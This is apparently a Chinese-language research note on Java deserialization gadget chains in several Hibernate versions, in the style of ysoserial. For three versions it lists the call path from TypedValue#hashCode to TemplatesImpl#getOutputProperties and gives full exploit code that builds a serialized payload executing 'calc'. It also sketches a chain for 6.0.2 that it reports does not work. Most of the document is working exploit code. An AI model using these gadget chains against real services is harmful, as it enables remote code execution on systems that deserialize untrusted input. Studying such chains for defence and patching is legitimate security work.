参考:https://su18.org/post/ysoserial-su18-3

3.5.0-Final

TypedValue#hashCode

image-20240304170631196.png

调用链

TypedValue#hashCode
ComponentType#getHashCode
ComponentType#getPropertyValues
PojoComponentTuplizer#getPropertyValues
AbstractComponentTuplizer#getPropertyValues
BasiGetter#get

exp

public static void main(String[] args) throws Exception{

TemplatesImpl calc = Gadget.getTemplateImpl("calc");
ComponentType componentType = Util.createWithoutConstructor(ComponentType.class);
TypedValue typedValue = Util.createWithoutConstructor(TypedValue.class);
EntityEntityModeToTuplizerMapping entityEntityModeToTuplizerMapping = Util.createWithoutConstructor(EntityEntityModeToTuplizerMapping.class);
PojoComponentTuplizer pojoComponentTuplizer = Util.createWithoutConstructor(PojoComponentTuplizer.class);

ReflectionOptimizerImpl reflectionOptimizerImpl = Util.createWithoutConstructor(ReflectionOptimizerImpl.class);
EntityMetamodel entityMetamodel = Util.createWithoutConstructor(EntityMetamodel.class);
BasicPropertyAccessor.BasicGetter basicGetter = Util.createWithoutConstructor(BasicPropertyAccessor.BasicGetter.class);

StandardProperty standardProperty = Util.createWithoutConstructor(StandardProperty.class);
StandardProperty[] properties = new StandardProperty[]{standardProperty};

Getter[] getters = new Getter[]{basicGetter};

HashMap tuplizers = new HashMap();
tuplizers.put(EntityMode.POJO,pojoComponentTuplizer);


Util.setFieldValue(basicGetter,"clazz", Templates.class);
Util.setFieldValue(basicGetter,"method", Util.getMethod(Templates.class,"getOutputProperties",new Class[]{}));
Util.setFieldValue(basicGetter,"propertyName","outputProperties");
Util.setFieldValue(entityMetamodel,"propertySpan",1);
Util.setFieldValue(entityMetamodel,"properties",properties);
Util.setFieldValue(pojoComponentTuplizer,"optimizer",reflectionOptimizerImpl);
Util.setFieldValue(pojoComponentTuplizer,"getters",getters);
Util.setFieldValue(pojoComponentTuplizer,"propertySpan",1);
Util.setFieldValue(entityEntityModeToTuplizerMapping,"tuplizers",tuplizers);
Util.setFieldValue(componentType,"tuplizerMapping",entityEntityModeToTuplizerMapping);
Util.setFieldValue(typedValue,"type",componentType);
Util.setFieldValue(typedValue,"value", calc);
Util.setFieldValue(typedValue,"entityMode", EntityMode.POJO);

Util.unserialize(Util.serialize(typedValue)).hashCode();
}

4.3.0.Final

这个版本中,ValueHolder无法被序列化。

4.3.10.Final

TypedValue#hashCode长这样

image-20240304164212171.png

TypedValue#hashCode
ValueHolder#getValue
ValueHolder.DeferredInitializer#initialize
ComponentType#getHashCode
ComponentType#getPropertyValues
PojoComponentTuplizer#getPropertyValues
AbstractComponentTuplizer#getPropertyValues
BasiGetter#get

exp

public static void main(String[] args) throws Exception{

TemplatesImpl calc = Gadget.getTemplateImpl("calc");
ComponentType componentType = Util.createWithoutConstructor(ComponentType.class);
PojoComponentTuplizer pojoComponentTuplizer = Util.createWithoutConstructor(PojoComponentTuplizer.class);
BasicPropertyAccessor.BasicGetter basicGetter = Util.createWithoutConstructor(BasicPropertyAccessor.BasicGetter.class);

Getter[] getters = new Getter[]{basicGetter};

TypedValue typedValue = new TypedValue(componentType,calc);

Util.setFieldValue(componentType,"propertySpan",1);
Util.setFieldValue(componentType,"componentTuplizer",pojoComponentTuplizer);
Util.setFieldValue(basicGetter,"clazz", Templates.class);
Util.setFieldValue(basicGetter,"method", Util.getMethod(Templates.class,"getOutputProperties",new Class[]{}));
Util.setFieldValue(basicGetter,"propertyName","outputProperties");
Util.setFieldValue(pojoComponentTuplizer,"getters",getters);
Util.setFieldValue(pojoComponentTuplizer,"propertySpan",1);

Util.unserialize(Util.serialize(typedValue)).hashCode();

}

5.0.0.Final

和上一个版本区别只在Getter的类型属性名变了,其他都没变。

public static void main(String[] args) throws Exception{

TemplatesImpl calc = Gadget.getTemplateImpl("calc");
ComponentType componentType = Util.createWithoutConstructor(ComponentType.class);
PojoComponentTuplizer pojoComponentTuplizer = Util.createWithoutConstructor(PojoComponentTuplizer.class);
GetterMethodImpl basicGetter = Util.createWithoutConstructor(GetterMethodImpl.class);

Getter[] getters = new Getter[]{basicGetter};

TypedValue typedValue = new TypedValue(componentType,calc);

Util.setFieldValue(componentType,"propertySpan",1);
Util.setFieldValue(componentType,"componentTuplizer",pojoComponentTuplizer);

Util.setFieldValue(basicGetter,"containerClass", Templates.class);
Util.setFieldValue(basicGetter,"getterMethod", Util.getMethod(Templates.class,"getOutputProperties",new Class[]{}));
Util.setFieldValue(basicGetter,"propertyName","outputProperties");

Util.setFieldValue(pojoComponentTuplizer,"getters",getters);
Util.setFieldValue(pojoComponentTuplizer,"propertySpan",1);

Util.unserialize(Util.serialize(typedValue)).hashCode();

}

image-20240304191904576.png

6.0.2.Final

初步构想的链子是这样,可以进入ComponentType#getPropertiesValues,但由于AbstractEntityPersister的子类都没实现Serializable,故不行。

TypedValue#hashCode
ValueHolder#getValue
ValueHolder.DeferredInitializer#initialize
ComponentType#getPropertiesValues
EntityPersister#getValues
AbstractEntityPersister#getValues
AbstractEntityPersister#getPropertyValues
Getter#get